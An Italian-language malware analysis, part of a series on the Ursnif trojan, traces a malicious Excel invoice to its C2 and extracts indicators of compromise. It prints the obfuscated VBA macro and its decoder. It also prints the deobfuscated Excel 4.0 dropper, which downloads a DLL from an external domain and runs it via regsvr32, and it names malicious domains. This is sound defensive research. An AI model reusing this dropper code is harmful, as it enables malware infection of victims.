YAU – Parte 6 – Il secondo stadio e i primi IoC
yau
Nel capitolo precedente avevamo finalmente terminato l’analisi dei packer di Ursnif.
A partire dal dropper contenuto nelle macro del documento malevolo (spesso una macro 4.0 che usa UrlDownloadToFile
) avevamo analizzato la DLL scaricata per scoprire come questa fosse in realtà un packer che utilizza tecniche ed algoritmi piuttosto variabili nel tempo.
Grazie ad UUE possiamo estrarre automaticamente il payload del packer.
Dopo averlo analizzato ci siamo resi conti che questi è a sua volta un packer, anche qui siamo riusciti a scrivere strumenti automatici per l’estrazione.
Con ujj è infatti possibile estrarre il secondo payload (che abbiamo chiamato “secondo stadio”).
In questo articolo non entreremo ancora nei dettagli di questo secondo stadio, ci limitiamo ad estrarre, in modo automatico ma senza sandbox, i primi IoC.
YET ANOTHER URSNIF
Questo è il sesto di una seria di articoli, tutti raggruppati qui.
Indice
Parte 1, Le e-mail e il documento Excel
Parte 2, Le macro
Parte 3, Il packer
Parte 4, Primo stadio e la sezione bss
Parte 5, Ancora il primo stadio e i “JJ chunk”
Parte 6, Il secondo stadio e i primi IoC <–
Parte 7, Il secondo stadio, seed, GUID e privilegi
Parte 8, Il secondo stadio, configurazione e download
Parte 9, Il secondo stadio, salvataggio dei moduli e persistenza
Parte 10, Rimozione di Ursnif
Parte 11, Il client, inizializzazione e configurazione
Parte 12, Il client, da powershell ad explorer.exe ai browser
Parte 13, Il client, comandi e trasmissione al C2
Parte 14, Il C2, panoramica
Parte 15, Il C2, i sorgenti e l’architettura
Parte 16, Il C2, vulnerabilità
Parte 17, OSINT e resoconto finale
Il secondo stadio usa i JJ chunk
Osservando il secondo stadio con un hex editor si vede immediatamente che sono presenti dei JJ chunk.
Uno risulterà essere una chiave RSA, l’altro è la configurazione di Ursnif.
Dal documento malevolo al C2
Supponiamo di avere un documento XLSM malevolo.
Iniziamo verificando la presenza di macro VBA:
olevba -c Fattura_20287.xlsm
In questo caso è presente una macro VBA, ne analizziamo quindi il codice.
Sub PagamentoDocumento()
j = "=RE"
m = "TURN()":
Sheets(1).Cells(6, 1).value = j & m: mg = "Aut"
Sheets(1).Cells(1, 1).Name = mg & "o_io22"
c = 3:
For Each p In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): n = n & p: Next
For X = c To Len(n) Step c
If (X Mod 2) Then k = -1 Else k = 1
u = u & Chr(Asc(Mid(n, X, 1)) + k): Next
IR = Split(u, "{")
For Each E In IR
Sheets(1).Cells(1, 1).value = "=" & Replace(E, "[", "J")
Run (mg & "o_io22")
Next
excell
End Sub
Private Sub excell()
Application.OnTime Now, "BarUno"
End Sub
Private Sub pagoUno_Layout()
PagamentoDocumento
End Sub
Si tratta di una macro molto semplice, l’unica noia è recuperare tutte le celle che contengono costanti.
Per fortuna ve ne è una sola.
LibreOffice, come al solito, non è nè affidabile nè stabile nel gestire i documenti Office ed è più semplice prendere il contenuto della cella direttamente dall’XML in sharedStrings.xml.
C TSeDbaUEm- pO E@K NIzDAI) T!sGWCt!wq-uK!ccbJWdLzt sHqsNgnW #pP(Yw|DYRdXF HSvs/ fMvZBfyLZRF V'L #ZulXS#xq+CuBC BipPZkRfW)k ,Sy1 s-aO6eu( +eR0WS4W 4wg0NbOwpJAi'dJ*er(l |AuROGFcZS L/w MNQBiFL Fy 'ry#apxrn#E +xEDMxNz T a'l SmV@tzErcHXCBDKMygT B'n 7Nl/ *AO(eQ. NB NPqUR )yH5mL1R )NFQZfHsI) F(wc0SD0 k9rh/ m*x (u | uR iFkSSjs/deMrHBpRLqrFz 'vj#o CHT#AF+eo#HA[zu#vG(FG| HRSsFH SnE/b MFYBJzLbSFN 'Wn#kMJ s#Fj+yc#gwvWI#fn( E| HR UF RSzE/GhMPLBSDL gF x'cA#jRY a# K+Oa#G na #cx(FV|zQHOPGZQ'reJhzRygOOATXbN OAA FgXQ U)JBRD Fdj@ GSBTBnuIYe'BiLQk+ JHWCDDiUIr-qGXr NvvSUZJGGTNvO QBZpBEOFdZ'Xg2Vv(yx*M ( L-ES_x001F_XG-jaB VMSpNNNTBuDFB)t ShsSjvTs FB (mF*wOzLMTL DfHU W-LdOyw@NDNegDZf) !AyBac!cC-Fu! XD M9 #HH%IsEIv%qHD dGdwBuHQ b)SlQ jB uMJ EeTAN F KSzdXeGDVtFi MLP)Wj5EK6N +sFn X(Ly*Mv%zCDxmGO BkrQMd) TQCnB RMOeEnDAPiFP S AXaiDTEFAEMnU)Nx5Qk6 P+nCnmV(yq*qg%PfSW @h ObrC uCOtDYoUu VcFF DDskO Z'VS2d /Nk1D +zK:cG8is:XC(iA'N BckI @VdSFd'BySze@raOKMCURCnaDkfUVJVdsFg D cOGg' 7NC4B -cKlgN*Uh(Vi* vzOcTTxDUqUMK-MIO r@HFN lDyK)TH!KxjkBeYM#Lx+IGD tGTBBfhQ o)Ey0wG2G 4w *cC(XY|uXRtsFsSSrv/JBM B jLW FX ' l#mIA Q#Bc+ ZBHE%msEaQ%JwDNdGpEB OQQN) QynBIrMC E cArSFsUSVvXcrDnDFGJM Q)ae5Yt6 + unP (bR*SP% wDsfG nBXwQeL)qRQmHBAQMMLE GAbHFC SyLXvmDadFypMBH)Bz5Dm6kN+ninx ( s*S %WQSbm@YDO aCuKCOkD IUaGVXdFEVDrzOXn' 2V /TA1Pr+ O: m8PK:Gu(F 'GxBHwITr@VkSOe'QwSoI@ GOtbC zC DuWUuaV QFgXDrYO w'Tx7FE4Lq-Gol F*Zv(It*bKzR TlBDXJUDD-y OGI@ZrNWjD )UC!McG P!vN-wpFb F ZSDb/ IVvBPuaQITLufRaPQMU@tLDLvD L)fw0xA4aM(G 'y !kZ/ p!Rj* zepTmYDb U -ajOsP@MYNuBDYn)dc!e VhQ!lF-bd!sxfEl!xj*zRzF DYu@jHMSUK f)p !XsLJy!vu'JFTsv'NE!QosFzmk #Cv%rLVyG%PT# eksq4nL1ws#FT+wv#LUBGos !h 'wJTs ' q!a bAksfl#JM% VVNQ%xU#JDChFjeEqGYfckbEXuHK!wn'OXYQm' L!I s x pBrf!Uu-sL!w KoOB JKHH!lO-bQ@Ba-t xkR*RgzT TElDseUzW-vBOsC@KxN DDKq)vH!afHBL!TK-QeRnBFTZS n/cnMrNBErLaLFhQ'JQ#fmgfH#aN+SM#filAxqwk`Arhuxm zjcD`xSnjq!vT*n (Dd|zABZTBhwKnrM 'VM#OxJzUfbeqSyoQA!ei'YhTUp'z !XwmSX2Ti3 j! V-AS!ytDtbq fp ` Ku GdXOElXh sBw!Yl'ooTCB'dI!xfds sAB#UB%n [Fq%Zb#NWqOfz q@ H#g +ol#XaZFoD Z P#lW+UKCAG+iTzxC(zp| B SBUlKwKMKW'Nw#HLT FShXKcPNZwN Oyy!ub-y ! SV QRwMjjCdp#MR%ix[ V% f#Y v fovUkqV# U%aK[ U%hv# a`Oae fSo #qm%KK[iR%yL#Y ExbjnCkf fj @nD#cg+Q !j !yd\iaZLbDm Bvc\ PZLe# O+KhzzX+zmS vDvbQqDKFPB zBO FoW'Cc#TIgRMrpfokLtez9 J#Pa%zNHyADxqUA -cKX bNatSAkJYUTz OroB UB kFi 'oV:rX(Pg'a FMaF ESbh/CuVR PZ QLZL nRNjQIV@o DYHDbO) B8 m*NZ% z#o bSnpB !HI'U gjA' XU 'JSQS Js FwKIxbSSO)bbEGT* G% t#iabbk#eX%RF[xL%H #Z lqM#N + m3Y +Kp2Zu+ #Egs uuCr!en*q +UBCmb%AmEe % zGTF+RNzBK+ zdi(Di|Q BvQBPzKwxMph' I#h RNli !c 'zyTru'ry! DmLLkAN4T 1sq#iC+XF#LYR uihq!hO'PWThW'Ro!olmjqk OFCEwFD#BH%dpV t%ZE#goboXvsAsgm#Pk%c VK %vk#Nj@og# n+jg! !aW\xJZmNDX BgVD HB \Kn!xw-TPxif- A!IFPQRomO#HM%u Vow%xK#CZmHy#NF+ZU# OqRG#WO% CVdx%Oz#zjfZctT ubqsJO2sb3Nq!sC- f!OK!RP,Cz#Qh% zjktegR'yb!Jf!FE!DB'HVArH' fC x'KyEYJ-DzxoZ- ax O*
L’algoritmo della macro è già stato visto nel capitolo 2, qui una versione JS.
function decode(s)
{
let r="";
for (let k = 2; k < s.length; k+=3)
{
r += String.fromCharCode(s.charCodeAt(k) + (k % 2 == 1 ? 1 : -1) );
}
}
Che dà il risultato (una volta ripulito) seguente:
SET.NAME("V","aestro")
SET.NAME("m",ACOS(-0.5)*135/PI())
SET.NAME("y",COS(RADIANS(60))-COS(60*PI()/180))
SET.NAME("D","\")
SET.NAME("K","w")
SET.NAME("Z","o")
IF(ISNUMBER(SEARCH(K,GET.WORKSPACE(1))),`/`,CLOSE(TRUE))
SET.NAME("A","C:"&D&CHAR(RANDBETWEEN(65,m))&CHAR(RANDBETWEEN(65,m))&RANDBETWEEN(100,999)&CHAR(RANDBETWEEN(65,m)))
SET.NAME("if",CHAR(115))
SET.NAME("B",A&D&CHAR(RANDBETWEEN(65,m))&CHAR(RANDBETWEEN(65,m))&RANDBETWEEN(100,999)&CHAR(RANDBETWEEN(65,m)))
SET.NAME("F",GET.WORKSPACE(13)&".")
SET.NAME("U","e")
CALL("K"&U&"rn"&U&"l32","Cr"&U&"at"&U&"Direct"&Z&"ryA","JCJ",A,y)
SET.NAME("G",SET.NAME("h","mpagniam"))
CALL("Kern"&U&"l32","CreateDir"&U&"ct"&Z&"ryA","[C[",B,y)
CALL("URLMON","URLD"&Z&"wnl"&Z&"adT"&Z&"FileA", "[[CC[[",y,REPLACE("hqps:"&GET.WORKSPACE(9)&GET.WORKSPACE(9)&"co"&h&V&RIGHT(F)&"c"&Z&"m",2,1,"tt"),B&D&F,y,y)
CALL("Sh"&U&"ll32","Sh"&U&"llEx"&U&"cut"&U&"A", "[[CCCC[",y,"Op"&U&"n","r"&U&"gsvr32"," -"&if&" "&B&D&F,y,y)
Questa è la macro 4.0 che viene eseguita da Excel. Con XlmDeobfuscator è possibile vedere che il drop URL è http://compagniamaestro.com.
Da qui otteniamo la DLL del packer.
Usando UUE possiamo estrarne il payload e con ujj ottenere il secondo payload.
Di questo secondo payload possiamo estrarre i JJ chunk e prenderne la configurazione.
>uue ursnif.dll [Dumped!] >ujj ursnif.dll.payload0.dll -- JJ Chunk -- Id: 9e154a0c Flags: CM RVA: 00007400 Size: da00 XOR key: d644da83 Padding: 0 >ubss 9e154a0c >ujj 9e154a0c -- JJ Chunk -- Id: e1285e64 Flags: RVA: 0000fa00 Size: 90 XOR key: d644c7fc Padding: 0 -- JJ Chunk -- Id: 8fb1dde1 Flags: CM RVA: 0000fc00 Size: 146 XOR key: d644c4e6 Padding: 0
Aprendo il JJ chunk con id 8fb1dde1, otteniamo the stringhe di configurazione.
Tra queste compare marzoom.org, il C2 usato da questo sample.
Nel prossimo articolo vedremo nel dettaglio il secondo stadio e la struttura dei due JJ chunk.